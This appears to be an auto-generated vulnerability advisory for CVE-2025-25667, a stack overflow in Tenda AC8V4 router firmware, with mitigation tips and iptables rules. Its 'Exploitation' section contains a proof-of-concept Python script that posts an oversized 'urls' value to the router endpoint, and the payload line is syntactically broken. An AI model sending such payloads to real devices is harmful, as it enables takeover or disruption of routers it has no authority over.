Tenda AC8V4, Stack Overflow Vulnerability, CVE-2025-25667 (Critical)

How the CVE Works:

CVE-2025-25667 is a critical stack overflow vulnerability found in Tenda AC8V4 routers running firmware version V16.03.34.06. The issue resides in the `get_parentControl_list_Info` function, specifically in the handling of the `urls` parameter. When an attacker sends an overly long string as the `urls` parameter, it overflows the stack buffer, potentially allowing arbitrary code execution. This vulnerability can be exploited remotely without authentication, making it highly dangerous. The lack of proper input validation and boundary checks in the firmware code leads to this exploitable condition.

DailyCVE Form:

Platform: Tenda AC8V4
Version: V16.03.34.06
Vulnerability: Stack Overflow
Severity: Critical
Date: 02/20/2025

What Undercode Say:

Exploitation:

Payload Crafting: Create a malicious payload with an excessively long `urls` parameter to trigger the stack overflow.
```
payload = "A" 1000 Example payload to overflow the buffer
```

Send Exploit: Use a script to send the payload to the router’s vulnerable endpoint.

import requests
target_url = "http://<router_ip>/goform/get_parentControl_list_Info"
response = requests.post(target_url, data={"urls": payload})
print(response.text)

Gain Control: If successful, the attacker can execute arbitrary code on the router, potentially gaining full control.

Protection:

Update Firmware: Ensure the router is updated to the latest firmware version provided by Tenda.
Input Validation: Implement proper input validation and boundary checks in the firmware code.
```
if (strlen(urls) > MAX_URL_LENGTH) {
return ERROR_INVALID_INPUT;
}
```
Network Segmentation: Isolate the router from critical internal networks to limit potential damage.
Disable Unused Features: Turn off unnecessary features like remote management to reduce attack surface.

Analytics:

CVSS Score: 9.8 (Critical)
Attack Vector: Network
Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged

Commands:

Check firmware version:
```
cat /etc/version
```
Monitor logs for suspicious activity:
```
tail -f /var/log/messages
```

Restrict access to the router’s admin interface:

iptables -A INPUT -p tcp --dport 80 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25667
Extra Source Hub:
Undercode

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